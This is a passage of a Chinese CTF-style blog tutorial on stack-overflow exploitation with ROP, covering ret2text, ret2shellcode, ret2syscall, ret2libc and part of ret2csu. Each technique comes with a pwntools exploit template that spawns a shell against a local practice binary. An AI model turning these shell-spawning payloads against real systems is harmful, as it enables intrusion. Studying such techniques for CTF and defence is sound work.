<!DOCTYPE html>
<html lang="zh-Hans">
<!--浏览器搞笑标题-->
<script type="text/javascript" src="/js/FunnyTitle.js"></script>
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.4.0">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/images/logo.svg" color="#222">

<link rel="stylesheet" href="/css/main.css">

<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=PT+Mono:300,300italic,400,400italic,700,700italic%7CMa+Shan+Zheng:300,300italic,400,400italic,700,700italic%7CKiwi+Maru:300,300italic,400,400italic,700,700italic&display=swap&subset=latin,latin-ext">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@5.15.2/css/all.min.css">
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/animate.css@3.1.1/animate.min.css">
  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nprogress@0.2.0/nprogress.css">
  <script src="https://cdn.jsdelivr.net/npm/nprogress@0.2.0/nprogress.js"></script>

<script class="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"ec1ipse.gitee.io","root":"/","images":"/images","scheme":"Gemini","version":"8.2.2","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12},"copycode":false,"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"fadeInDown","post_body":"fadeInDown","coll_header":"fadeInLeft","sidebar":"fadeInUp"}},"prism":false,"i18n":{"placeholder":"Searching...","empty":"We didn't find any results for the search: ${query}","hits_time":"${hits} results found in ${time} ms","hits":"${hits} results found"},"path":"/search.xml","localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false}};
  </script>
<meta name="description" content="NX 保护的开启后，缓冲区溢出的利用在栈或堆上直接注入代码的方式不再适用；这种情况下，攻击的主要思想是 ROP (Return Oriented Programming)，在栈缓冲区溢出的基础上，利用程序中已经存在的可利用的 gadgets (以 ret 为结尾的指令序列) 来改变某些寄存器或变量的值，从而控制程序的执行流 ROP 一般情况下需要满足的条件为  程序存在溢出，并且溢出长度允许控制返">
<meta property="og:type" content="article">
<meta property="og:title" content="栈溢出利用之ROP">
<meta property="og:url" content="https://ec1ipse.gitee.io/2021/03/27/blog006-pwn-stackoveflow-rop/index.html">
<meta property="og:site_name" content="eclipse&#39;s blog">
<meta property="og:description" content="NX 保护的开启后，缓冲区溢出的利用在栈或堆上直接注入代码的方式不再适用；这种情况下，攻击的主要思想是 ROP (Return Oriented Programming)，在栈缓冲区溢出的基础上，利用程序中已经存在的可利用的 gadgets (以 ret 为结尾的指令序列) 来改变某些寄存器或变量的值，从而控制程序的执行流 ROP 一般情况下需要满足的条件为  程序存在溢出，并且溢出长度允许控制返">
<meta property="og:locale">
<meta property="article:published_time" content="2021-03-27T03:36:37.000Z">
<meta property="article:modified_time" content="2021-05-12T05:06:46.000Z">
<meta property="article:author" content="eclipse">
<meta property="article:tag" content="Pwn">
<meta name="twitter:card" content="summary">


<link rel="canonical" href="https://ec1ipse.gitee.io/2021/03/27/blog006-pwn-stackoveflow-rop/">


<script class="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-Hans'
  };
</script>
<title>栈溢出利用之ROP | eclipse's blog</title>
  




  <noscript>
  <style>
  body { margin-top: 2rem; }

  .use-motion .menu-item,
  .use-motion .sidebar,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header {
    visibility: visible;
  }

  .use-motion .header,
  .use-motion .site-brand-container .toggle,
  .use-motion .footer { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle,
  .use-motion .custom-logo-image {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line {
    transform: scaleX(1);
  }

  .search-pop-overlay, .sidebar-nav { display: none; }
  .sidebar-panel { display: block; }
  </style>
</noscript>

  <!--浏览器搞笑标题-->
  <script type="text/javascript" src="/js/FunnyTitle.js"></script>
<link rel="alternate" href="/atom.xml" title="eclipse's blog" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage" class="use-motion">
  <div class="headband"></div>

  <main class="main">
    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="Toggle navigation bar" role="button">
        <span class="toggle-line"></span>
        <span class="toggle-line"></span>
        <span class="toggle-line"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/" class="brand" rel="start">
      <i class="logo-line"></i>
      <h1 class="site-title">eclipse's blog</h1>
      <i class="logo-line"></i>
    </a>
      <p class="site-subtitle" itemprop="description">普通なんかごめんだ<br>僕は僕でいさせてくれ</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>



<nav class="site-nav">
  <ul class="main-menu menu">
        <li class="menu-item menu-item-home"><a href="/" rel="section"><i class="fa fa-home fa-fw"></i>Home</a></li>
        <li class="menu-item menu-item-tags"><a href="/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>Tags</a></li>
        <li class="menu-item menu-item-archives"><a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>Archives</a></li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>Search
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup"><div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off" maxlength="80"
           placeholder="Searching..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close" role="button">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div class="search-result-container no-result">
  <div class="search-result-icon">
    <i class="fa fa-spinner fa-pulse fa-5x"></i>
  </div>
</div>

    </div>
  </div>

</div>
        
  
  <div class="toggle sidebar-toggle" role="button">
    <span class="toggle-line"></span>
    <span class="toggle-line"></span>
    <span class="toggle-line"></span>
  </div>

  <aside class="sidebar">

    <div class="sidebar-inner sidebar-nav-active sidebar-toc-active">
      <ul class="sidebar-nav">
        <li class="sidebar-nav-toc">
          Table of Contents
        </li>
        <li class="sidebar-nav-overview">
          Overview
        </li>
      </ul>

      <div class="sidebar-panel-container">
        <!--noindex-->
        <div class="post-toc-wrap sidebar-panel">
            <div class="post-toc animated"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#ret2text"><span class="nav-number">1.</span> <span class="nav-text">ret2text</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8E%9F%E7%90%86"><span class="nav-number">1.1.</span> <span class="nav-text">原理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%B8%B8%E7%94%A8%E4%BB%A3%E7%A0%81"><span class="nav-number">1.2.</span> <span class="nav-text">常用代码</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#ret2shellcode"><span class="nav-number">2.</span> <span class="nav-text">ret2shellcode</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8E%9F%E7%90%86-1"><span class="nav-number">2.1.</span> <span class="nav-text">原理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%B8%B8%E7%94%A8%E4%BB%A3%E7%A0%81-1"><span class="nav-number">2.2.</span> <span class="nav-text">常用代码</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#ret2syscall"><span class="nav-number">3.</span> <span class="nav-text">ret2syscall</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8E%9F%E7%90%86-2"><span class="nav-number">3.1.</span> <span class="nav-text">原理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%B8%B8%E7%94%A8%E4%BB%A3%E7%A0%81-2"><span class="nav-number">3.2.</span> <span class="nav-text">常用代码</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#ret2libc"><span class="nav-number">4.</span> <span class="nav-text">ret2libc</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8E%9F%E7%90%86-3"><span class="nav-number">4.1.</span> <span class="nav-text">原理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%B8%B8%E7%94%A8%E4%BB%A3%E7%A0%81-3"><span class="nav-number">4.2.</span> <span class="nav-text">常用代码</span></a></li></ol></li><li class="nav-item nav-level-1"><a class="nav-link" href="#ret2csu"><span class="nav-number">5.</span> <span class="nav-text">ret2csu</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%8E%9F%E7%90%86-4"><span class="nav-number">5.1.</span> <span class="nav-text">原理</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#%E5%B8%B8%E7%94%A8%E4%BB%A3%E7%A0%81-4"><span class="nav-number">5.2.</span> <span class="nav-text">常用代码</span></a></li></ol></li></ol></div>
        </div>
        <!--/noindex-->

        <div class="site-overview-wrap sidebar-panel">
          <div class="site-author site-overview-item animated" itemprop="author" itemscope itemtype="http://schema.org/Person">
    <img class="site-author-image" itemprop="image" alt="eclipse"
      src="/images/avatar.jpg">
  <p class="site-author-name" itemprop="name">eclipse</p>
  <div class="site-description" itemprop="description">时光和才华是相互转换的<br>我的一生就是拿时光去换取才华</div>
</div>
<div class="site-state-wrap site-overview-item animated">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/archives/">
        
          <span class="site-state-item-count">25</span>
          <span class="site-state-item-name">posts</span>
        </a>
      </div>
      <div class="site-state-item site-state-tags">
            <a href="/tags/">
          
        <span class="site-state-item-count">15</span>
        <span class="site-state-item-name">tags</span></a>
      </div>
  </nav>
</div>
  <div class="links-of-author site-overview-item animated">
      <span class="links-of-author-item">
        <a href="https://github.com/eclipse-tenet" title="GitHub → https:&#x2F;&#x2F;github.com&#x2F;eclipse-tenet" rel="noopener" target="_blank">GitHub</a>
      </span>
      <span class="links-of-author-item">
        <a href="https://gitee.com/ec1ipse" title="Gitee → https:&#x2F;&#x2F;gitee.com&#x2F;ec1ipse" rel="noopener" target="_blank">Gitee</a>
      </span>
  </div>



        </div>
      </div>
    </div>
  </aside>
  <div class="sidebar-dimmer"></div>


    </header>

    
  <div class="back-to-top" role="button">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>

<noscript>
  <div class="noscript-warning">Theme NexT works best with JavaScript enabled</div>
</noscript>


    <div class="main-inner post posts-expand">


  


<div class="post-block">
  
  

  <article itemscope itemtype="http://schema.org/Article" class="post-content" lang="zh-Hans">
    <link itemprop="mainEntityOfPage" href="https://ec1ipse.gitee.io/2021/03/27/blog006-pwn-stackoveflow-rop/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.jpg">
      <meta itemprop="name" content="eclipse">
      <meta itemprop="description" content="时光和才华是相互转换的<br>我的一生就是拿时光去换取才华">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="eclipse's blog">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          栈溢出利用之ROP
        </h1>

        <div class="post-meta-container">
          <div class="post-meta">
    <span class="post-meta-item">
      <span class="post-meta-item-icon">
        <i class="far fa-calendar"></i>
      </span>
      <span class="post-meta-item-text">Posted on</span>

      <time title="Created: 2021-03-27 11:36:37" itemprop="dateCreated datePublished" datetime="2021-03-27T11:36:37+08:00">2021-03-27</time>
    </span>
      <span class="post-meta-item">
        <span class="post-meta-item-icon">
          <i class="far fa-calendar-check"></i>
        </span>
        <span class="post-meta-item-text">Edited on</span>
        <time title="Modified: 2021-05-12 13:06:46" itemprop="dateModified" datetime="2021-05-12T13:06:46+08:00">2021-05-12</time>
      </span>

  
      </div>
      <div class="post-meta">
    <span class="post-meta-item" title="Symbols count in article">
      <span class="post-meta-item-icon">
        <i class="far fa-file-word"></i>
      </span>
      <span class="post-meta-item-text">Symbols count in article: </span>
      <span>6.3k</span>
    </span>
    <span class="post-meta-item" title="Reading time">
      <span class="post-meta-item-icon">
        <i class="far fa-clock"></i>
      </span>
      <span class="post-meta-item-text">Reading time &asymp;</span>
      <span>7 mins.</span>
    </span>
</div>

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">
        <p>NX 保护的开启后，缓冲区溢出的利用在栈或堆上直接注入代码的方式不再适用；这种情况下，攻击的主要思想是 ROP (Return Oriented Programming)，在栈缓冲区溢出的基础上，利用程序中已经存在的可利用的 gadgets (以 ret 为结尾的指令序列) 来改变某些寄存器或变量的值，从而控制程序的执行流</p>
<p>ROP 一般情况下需要满足的条件为</p>
<ul>
<li>程序存在溢出，并且溢出长度允许控制返回地址</li>
<li>能够找到满足条件的 gadgets 以及其相应的地址（若 gadget 每次的地址是不固定的，就需要动态获取对应的地址了）</li>
</ul>
<p>X64 和 X84 的小区别：前者寄存器存取前六个参数，后者使用栈存取所有参数；Ubuntu18 的 X64 下使用 ROP 需要在垃圾数据后使用一个 ret 指令平衡堆栈</p>
<span id="more"></span>

<h1 id="ret2text"><a href="#ret2text" class="headerlink" title="ret2text"></a>ret2text</h1><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><p>控制程序执行程序本身已存在的代码 (.text segment)；需要知道对应代码的返回位置</p>
<h2 id="常用代码"><a href="#常用代码" class="headerlink" title="常用代码"></a>常用代码</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">##!/usr/bin/env python</span>
<span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>

sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./ret2text'</span><span class="token punctuation">)</span>
target <span class="token operator">=</span> <span class="token number">0x804863a</span>
offset <span class="token operator">=</span> <span class="token number">0x6c</span> <span class="token operator">+</span> <span class="token number">0x04</span>
<span class="token comment"># Directly control program to target function</span>
sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">'A'</span> <span class="token operator">*</span> <span class="token punctuation">(</span>offset<span class="token punctuation">)</span> <span class="token operator">+</span> p32<span class="token punctuation">(</span>target<span class="token punctuation">)</span><span class="token punctuation">)</span>
sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<h1 id="ret2shellcode"><a href="#ret2shellcode" class="headerlink" title="ret2shellcode"></a>ret2shellcode</h1><h2 id="原理-1"><a href="#原理-1" class="headerlink" title="原理"></a>原理</h2><p>控制程序执行 shellcode 代码（代指用于完成某个功能的回避那代码，主要目的是获取目标系统的 shell）；不存在已有的 shellcode 的话，就需要自己填充，填充的位置需要具有可执行权限（若无可执行权限，可利用 mprotect 函数更改权限）</p>
<h2 id="常用代码-1"><a href="#常用代码-1" class="headerlink" title="常用代码"></a>常用代码</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#!/usr/bin/env python</span>
<span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>
context<span class="token punctuation">(</span>arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> endian<span class="token operator">=</span><span class="token string">'little'</span><span class="token punctuation">,</span> word_size<span class="token operator">=</span><span class="token number">64</span><span class="token punctuation">)</span>

sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./ret2shellcode'</span><span class="token punctuation">)</span>
shellcode <span class="token operator">=</span> asm<span class="token punctuation">(</span>shellcraft<span class="token punctuation">.</span>sh<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
buf2_addr <span class="token operator">=</span> <span class="token number">0x804a080</span>
offset <span class="token operator">=</span> <span class="token number">0x70</span>

sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>shellcode<span class="token punctuation">.</span>ljust<span class="token punctuation">(</span>offset<span class="token punctuation">,</span> <span class="token string">'A'</span><span class="token punctuation">)</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>buf2_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>
sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>更多 shellcode 可参考网站：<a target="_blank" rel="noopener" href="http://shell-storm.org/shellcode/">http://shell-storm.org/shellcode/</a></p>
<h1 id="ret2syscall"><a href="#ret2syscall" class="headerlink" title="ret2syscall"></a>ret2syscall</h1><h2 id="原理-2"><a href="#原理-2" class="headerlink" title="原理"></a>原理</h2><p>控制程序执行系统调用，获取 shell；32位程序与64位程序系统调用时存在区别的；ret2syscall 通过各种 gadgets 一段一段来控制不同寄存器的数值，来构造可以执行系统调用的 payload</p>
<h2 id="常用代码-2"><a href="#常用代码-2" class="headerlink" title="常用代码"></a>常用代码</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#!/usr/bin/env python</span>
<span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>
context<span class="token punctuation">(</span>arch<span class="token operator">=</span><span class="token string">'i386'</span><span class="token punctuation">)</span>

sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./rop'</span><span class="token punctuation">)</span>

<span class="token comment"># Use ROPgadget tool to gain needed gadgets</span>
pop_eax_ret <span class="token operator">=</span> <span class="token number">0x080bb196</span>
pop_edx_ecx_ebx_ret <span class="token operator">=</span> <span class="token number">0x0806eb90</span>
int_0x80 <span class="token operator">=</span> <span class="token number">0x08049421</span>
binsh <span class="token operator">=</span> <span class="token number">0x80be408</span>
payload <span class="token operator">=</span> flat<span class="token punctuation">(</span>
    <span class="token punctuation">[</span><span class="token string">'A'</span> <span class="token operator">*</span> <span class="token number">112</span><span class="token punctuation">,</span> pop_eax_ret<span class="token punctuation">,</span> <span class="token number">0xb</span><span class="token punctuation">,</span> pop_edx_ecx_ebx_ret<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> binsh<span class="token punctuation">,</span> int_0x80<span class="token punctuation">]</span><span class="token punctuation">)</span>
sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>
sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<h1 id="ret2libc"><a href="#ret2libc" class="headerlink" title="ret2libc"></a>ret2libc</h1><h2 id="原理-3"><a href="#原理-3" class="headerlink" title="原理"></a>原理</h2><p>控制函数执行 libc 中的函数，通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)；通常选择执行 <code>system(&quot;/bin/sh&quot;)</code> 所以需要找到 system 函数的地址</p>
<p>若程序中能够找到 system 函数的地址并且有字符串 <code>/bin/sh\x00 or sh\x00</code> 就可以直接构造 payload。若程序中无法找到需要的字符串，就需要先使用 gets 函数，想某地址中传入需要的字符串。若程序中同时无法找到 system 函数地址和 /bin/sh 字符串，就需要同时找到 system 函数地址和传入需要使用的字符串</p>
<p>如何获得 system 函数地址：</p>
<ul>
<li>system 函数属于 libc，libc.so 动态链接库中的函数之间相对便宜是固定的</li>
<li>即使 ASLR 开启，也只是针对于地址中间位进行随机，最低的 12 位并不会发生改变</li>
</ul>
<p>推荐的 GitHub 项目：</p>
<ul>
<li><a target="_blank" rel="noopener" href="https://github.com/niklasb/libc-database">https://github.com/niklasb/libc-database</a></li>
<li><a target="_blank" rel="noopener" href="https://github.com/lieanu/LibcSearcher">https://github.com/lieanu/LibcSearcher</a></li>
</ul>
<p>在使用 LibcSearcher 进行泄露 got 表地址时，可选择的函数为已经在程序中的函数：比如函数在之前使用过 put，就可以用 put 来泄露；也可以泄露 __libc_start_main 的地址，这是程序最初被执行的函数。当泄露 libc 版本不成功时，可以尝试用其他的函数来泄露</p>
<p>基本流程：</p>
<ol>
<li>ELF 模块泄露 __libc_start_main got 表的内容</li>
<li>LibcSearcher 模块获取 libc 版本</li>
<li>触发栈溢出获取 system 与 /bin/sh 地址</li>
<li>控制函流返回溢出点</li>
<li>再次触发栈溢出执行 system(“/bin/sh”)</li>
</ol>
<h2 id="常用代码-3"><a href="#常用代码-3" class="headerlink" title="常用代码"></a>常用代码</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment">#!/usr/bin/env python</span>
<span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>
<span class="token keyword">from</span> LibcSearcher <span class="token keyword">import</span> LibcSearcher
sh <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">'./ret2libc3'</span><span class="token punctuation">)</span>

ret2libc3 <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'./ret2libc3'</span><span class="token punctuation">)</span>

puts_plt <span class="token operator">=</span> ret2libc3<span class="token punctuation">.</span>plt<span class="token punctuation">[</span><span class="token string">'puts'</span><span class="token punctuation">]</span>
libc_start_main_got <span class="token operator">=</span> ret2libc3<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">'__libc_start_main'</span><span class="token punctuation">]</span>
main <span class="token operator">=</span> ret2libc3<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">'main'</span><span class="token punctuation">]</span>

<span class="token keyword">print</span> <span class="token string">"leak libc_start_main_got addr and return to main again"</span>
payload <span class="token operator">=</span> flat<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">'A'</span> <span class="token operator">*</span> <span class="token number">112</span><span class="token punctuation">,</span> puts_plt<span class="token punctuation">,</span> main<span class="token punctuation">,</span> libc_start_main_got<span class="token punctuation">]</span><span class="token punctuation">)</span>
sh<span class="token punctuation">.</span>sendlineafter<span class="token punctuation">(</span><span class="token string">'Can you find it !?'</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span>

<span class="token keyword">print</span> <span class="token string">"get the related addr"</span>
libc_start_main_addr <span class="token operator">=</span> u32<span class="token punctuation">(</span>sh<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">:</span><span class="token number">4</span><span class="token punctuation">]</span><span class="token punctuation">)</span>
libc <span class="token operator">=</span> LibcSearcher<span class="token punctuation">(</span><span class="token string">'__libc_start_main'</span><span class="token punctuation">,</span> libc_start_main_addr<span class="token punctuation">)</span>
libcbase <span class="token operator">=</span> libc_start_main_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'__libc_start_main'</span><span class="token punctuation">)</span>
system_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> libc<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'system'</span><span class="token punctuation">)</span>
binsh_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> libc<span class="token punctuation">.</span>dump<span class="token punctuation">(</span><span class="token string">'str_bin_sh'</span><span class="token punctuation">)</span>

<span class="token keyword">print</span> <span class="token string">"get shell"</span>
payload <span class="token operator">=</span> flat<span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token string">'A'</span> <span class="token operator">*</span> <span class="token number">104</span><span class="token punctuation">,</span> system_addr<span class="token punctuation">,</span> <span class="token number">0xdeadbeef</span><span class="token punctuation">,</span> binsh_addr<span class="token punctuation">]</span><span class="token punctuation">)</span>
sh<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>

sh<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<p>更多相关wp：</p>
<p><a target="_blank" rel="noopener" href="https://gitee.com/ec1ipse/pwn-write-ups/blob/master/0x006-ret2libc3/wp.md">https://gitee.com/ec1ipse/pwn-write-ups/blob/master/0x006-ret2libc3/wp.md</a></p>
<p><a target="_blank" rel="noopener" href="https://gitee.com/ec1ipse/pwn-write-ups/blob/master/0x011-ciscn_2019_c_1/wp.md">https://gitee.com/ec1ipse/pwn-write-ups/blob/master/0x011-ciscn_2019_c_1/wp.md</a></p>
<h1 id="ret2csu"><a href="#ret2csu" class="headerlink" title="ret2csu"></a>ret2csu</h1><h2 id="原理-4"><a href="#原理-4" class="headerlink" title="原理"></a>原理</h2><p>与 32 位程序相比，64 位程序中函数的前 6 个参数是通过寄存器传递的 (rdi, rsi, rdx, r10, r8, r9)，但是很多时候无法找到每一个寄存器对应的能够使用的 gadgets。这时可以利用 X64 下的 <code>__libc_csu_init</code> 函数中的 gadgets (此函数用来对 libc 进行初始化操作的；一般程序都会调用 libc 的函数)，注意不同版本下这个函数可能有一定的区别</p>
<pre class="line-numbers language-assembly" data-language="assembly"><code class="language-assembly">.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>

<ul>
<li>从 0x40061A 一直到结尾，可以触发栈溢出构造栈上数据来控制 rbx rbp r12 r13 r14 r15 寄存器的数据</li>
<li>从 0x400600 到 0x400609，可以将 r13 赋给 rdx，r14 赋给 rsi， r15 低 32 位 赋给 rdi，这个三个被赋值的寄存器就是 X64 函数调用中传递前三个参数的寄存器；同时还可以控制 rbx=0 r12=target_func_address 来执行我们想要执行的函数</li>
<li>从 0x40060D 到 0x400614，可以控制 rbx 与 rbp 的关系防止程序跳转 (e.g. rbx=0, rbp=1)，继续执行下面的汇编代码，会再执行 6 次 pop；为了控制后续函数流，需要再构造 (6+1)*8 字节的垃圾数据，再跟上想要跳转至函数的地址；这样就完成了一次 __libc_csu_init 的利用</li>
</ul>
<p><strong>基本流程：</strong></p>
<ol>
<li>利用栈溢出执行 __libc_csu_init 函数中的 gadgets 获取 write 函数 (之前已经被使用过的) got 表中的内容，并使得程序再次返回 main 函数</li>
<li>利用 LibcSearcher 模块获取对应的 libc 版本，以及 system (or execve) 函数地址</li>
<li>利用栈溢出执行 system(“/bin/sh”)<ul>
<li>方法一：直接使用能够控制 rdi 寄存器的 gadget 执行 system 函数</li>
